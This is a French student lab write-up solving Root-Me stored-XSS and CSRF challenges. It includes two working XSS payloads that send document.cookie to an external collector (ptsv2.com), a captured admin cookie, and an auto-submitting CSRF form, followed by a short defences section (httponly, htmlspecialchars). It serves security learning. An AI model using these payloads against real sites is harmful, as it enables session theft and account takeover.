TP-07 / Faille Web Client XSS
| Élève | Date | Sujet | 
|---|---|---|
| 02/06/2022 | TP-07 / Faille Web Client XSS | 
XSS - Stockée 1
Analyse du site
Le formulaire du forum permet d'injecter du code, notamment du javascript.

Lorsque l'on appui sur send, notre script est bien éxécuté :

Compromission
Java Script + balise  img
Avec l'aide d'un site ou l'on peu poster des données (ex : ptsv2.com), nous somme en mesures de créer un lien vers une fausse image, avec les données du cookies administrateur. En réalité, nous recevrons chaque cookies de chaque personne qui accèdera à cette "image".
Les retours à la ligne de semble pas être pris en compte.
Ci-dessous le code injecté :
<script>document.write('<img SRC = "https://ptsv2.com/t/1xojy-1656579182/post?' +'location='+document.location +'&cookie='+ document.cookie +'">');</script>

Le résultat après queqlues minutes :

Nous avons le cookie admin !!
Parameter Values cookie ADMIN_COOKIE=NkI9qe4cdLIO2P7MIsWS8ofD6 location http://challenge01.root-me.org/web-client/ch18/?idx=3
Full JS
Ci-dessous le code injecté :
<script>document.location = "https://ptsv2.com/t/1xojy-1656579182/post?cookie="+document.cookie;</script>
 
Obtention du cookie après quelques minutes.

Finalisation de l'attaque
Il ne reste plus qu'a configurer le cookie de l'administrateur.

Diagramme
Protection
- 
Activer : httponly (https://www.php.net/manual/fr/function.setcookie.php) : empéche la récupération des cookies via des language de programmation tel que Java Script. 
- 
Utiliser htmlspecialchars pour des entrées utilisateurs (https://www.php.net/manual/fr/function.htmlspecialchars.php). 
CSRF - 0 protection (En cours de rédaction)
Analyse du site
Création d'un compte :

En analysant le code source nous voyons des requêtes SQL en commentaires :
<!-- l --><!-- SELECT * FROM membres WHERE username='test' and sessid_user='9db6bdae26fec6a3a2e2cc0ce6819dda' --><!-- INSERT INTO membres ( username, password,sessid_user,status_profile) VALUES ( 'test', 'test','9db6bdae26fec6a3a2e2cc0ce6819dda',0) -->
Une fois connecté, sur la page Profile on aperçois une case à cocher pour activer le compte. Cepednant, seul l'administrateur du site peu activer le compte pour accéder à l'espace private.
Pour cela, j'ai récupérer le formulaire de la page Profile que j'ai légérement modifié en y inculant l'activation du compte. Il faut maintenant trouver un point d'injection.
Compromission
Testons une injection de code avec le formulaire de contact :
 
    
Code injecté :
<form name="evilform" action="http://challenge01.root-me.org/web-client/ch22/?action=profile" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="test">
<input type="checkbox" name="status" checked>
</form>
<script>document.evilform.submit()</script>
Une fois le script envoyé, essayons de retourner sur la page de Private afin de vérifier l'activation du compte :

Parfait, l'injection de code a fonctionné !
Diagramme
Différence avec le challenge CSRF - contournement de jeton
Le challenge CSRF - contournement de jeton, nécessite le jeton CSRF Admin afin de pouvoir modifier le status du compte. De ce fait, sans ce jeton, l'injection de code malveillant n'est pas fonctionnelle.